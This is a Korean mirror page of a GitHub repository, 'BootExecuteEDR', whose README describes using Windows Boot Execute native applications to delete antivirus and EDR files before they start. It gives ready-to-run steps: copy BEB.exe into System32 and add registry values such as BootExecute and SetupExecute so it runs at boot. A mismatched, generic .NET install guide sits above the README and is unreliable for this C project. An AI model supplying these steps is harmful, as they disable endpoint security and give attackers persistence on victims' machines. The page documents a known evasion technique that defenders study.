BootExecuteEDR - GitLite

KO | EN

gitlite — search

#hacktoberfest #android #deep-learning #linux #docker #macos #nodejs #java #awesome #pytorch #security #mcp #ios #openai

BootExecuteEDR

(★ 420)

No description available.

파일 탐색기

최종 버전 다운로드 (.zip)

- BEB.vcxproj
- BEB.vcxproj.filters
- BEB.vcxproj.user
- main.c
BootExecuteBypass.sln
README.md

# 설치 가이드

1. 코드 내려받기

git clone https://github.com/rad9800/BootExecuteEDR

깃허브에서 프로젝트 코드 전체를 내 컴퓨터로 내려받습니다.

cd BootExecuteEDR

방금 내려받은 프로젝트 폴더 안으로 이동합니다.

2. .NET

보통 추천

사전 준비물

Git GitHub에서 프로젝트 코드를 내려받으려면 필요합니다.
.NET SDK dotnet 명령어를 쓰기 위한 SDK입니다.

dotnet restore

프로젝트에 필요한 패키지를 내려받습니다.

dotnet run

프로젝트를 빌드하고 바로 실행합니다.

✅ dotnet run 실행 후 터미널에 나타나는 안내 메시지나 주소를 확인하세요.

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# BootExecute EDR Bypass

Boot Execute allows native applications—executables with the NtProcessStartup entry point and dependencies solely on ntdll.dll—to run prior to the complete initialization of the Windows operating system. This occurs even before Windows services are launched. Historically, attackers have exploited this mechanism as a rudimentary persistence method. However, utilizing this feature requires administrative privileges, both to modify the corresponding registry key and to place the executable within the %SystemRoot%\System32 directory.

Because these native applications execute before security mechanisms are fully operational, this presents an opportunity to disrupt antivirus (AV) and endpoint detection and response (EDR) systems by deleting critical application files as we run with SYSTEM privileges.

The code contained within the project is an example demonstration of exploiting this "feature" to disable Endpoint Security Products before they have a chance to stop us.

## Usage

1. Compile binary
2. Place BEB.exe in C:\Windows\System32\
3. Add either of the following registry keys to launch your binary before win32k subsytem initialization

```cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecute" /t REG_MULTI_SZ /d "autocheck autochk *\0BEB" /f
```

```cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecuteNoPnpSync" /t REG_MULTI_SZ /d "BEB" /f
```

```cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "SetupExecute" /t REG_MULTI_SZ /d "BEB" /f
```

```cmd
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "PlatformExecute" /t REG_MULTI_SZ /d "BEB" /f
```